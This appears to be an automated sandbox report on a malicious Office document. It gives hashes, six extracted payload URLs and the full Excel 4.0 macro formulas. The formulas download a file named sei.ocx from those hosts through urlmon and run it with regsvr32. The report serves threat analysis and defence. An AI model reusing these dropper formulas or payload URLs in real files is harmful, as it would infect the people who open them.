General
-
Target
1a9ec4ffc06f99f704a62cd3697e4a96ad7dd5ff8b5b0405adbb00bd093d798a
-
Size
46KB
-
MD5
91c393c90ec0bffa3050c9ae9314c764
-
SHA1
1c608ddaefb821faa20017d18e495b796f659675
-
SHA256
1a9ec4ffc06f99f704a62cd3697e4a96ad7dd5ff8b5b0405adbb00bd093d798a
-
SHA512
2a65f625febb042b27588399267fb77a156d810de6fd167e5df3e97a50c1d356a6324112d5a3c2f13b83b4c8ba5a52bafdf4adf939d618d73b9a2c392f45e042
-
SSDEEP
768:EOo2ODOevZCwrvtzyzdDTKufT9nz0LTyY1NiMZFYpvrLeci3cr+Uh0VfpDDG:EOo1D+tT5fTR4Lh1NisFYBc3cr+UqVfo
Malware Config
Extracted
http://gokcevizyon.com/sBaEb/
http://henrysfreshroast.com/fxNufTnf3ox/
http://sorathlions.com/tmp/z5mkAKCYsVW70w/
http://www.ajaxmatters.com/c7g8t/TkqG7pcYizOAj/
https://cricketaddictorsassociation.com/zuug/UH8fBAITr4N/
https://ewestern.com/k/vEQX/
-
formulas
=CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://gokcevizyon.com/sBaEb/","..\sei.ocx",0,0) =IF('EFALGV'!D10<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://henrysfreshroast.com/fxNufTnf3ox/","..\sei.ocx",0,0)) =IF('EFALGV'!D12<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://sorathlions.com/tmp/z5mkAKCYsVW70w/","..\sei.ocx",0,0)) =IF('EFALGV'!D14<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://www.ajaxmatters.com/c7g8t/TkqG7pcYizOAj/","..\sei.ocx",0,0)) =IF('EFALGV'!D16<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://cricketaddictorsassociation.com/zuug/UH8fBAITr4N/","..\sei.ocx",0,0)) =IF('EFALGV'!D18<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://ewestern.com/k/vEQX/","..\sei.ocx",0,0)) =IF('EFALGV'!D20<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe /s ..\sei.ocx") =RETURN()
Signatures
-
Suspicious Office macro 1 IoCs
Office document equipped with 4.0 macros.
Files
-
1a9ec4ffc06f99f704a62cd3697e4a96ad7dd5ff8b5b0405adbb00bd093d798a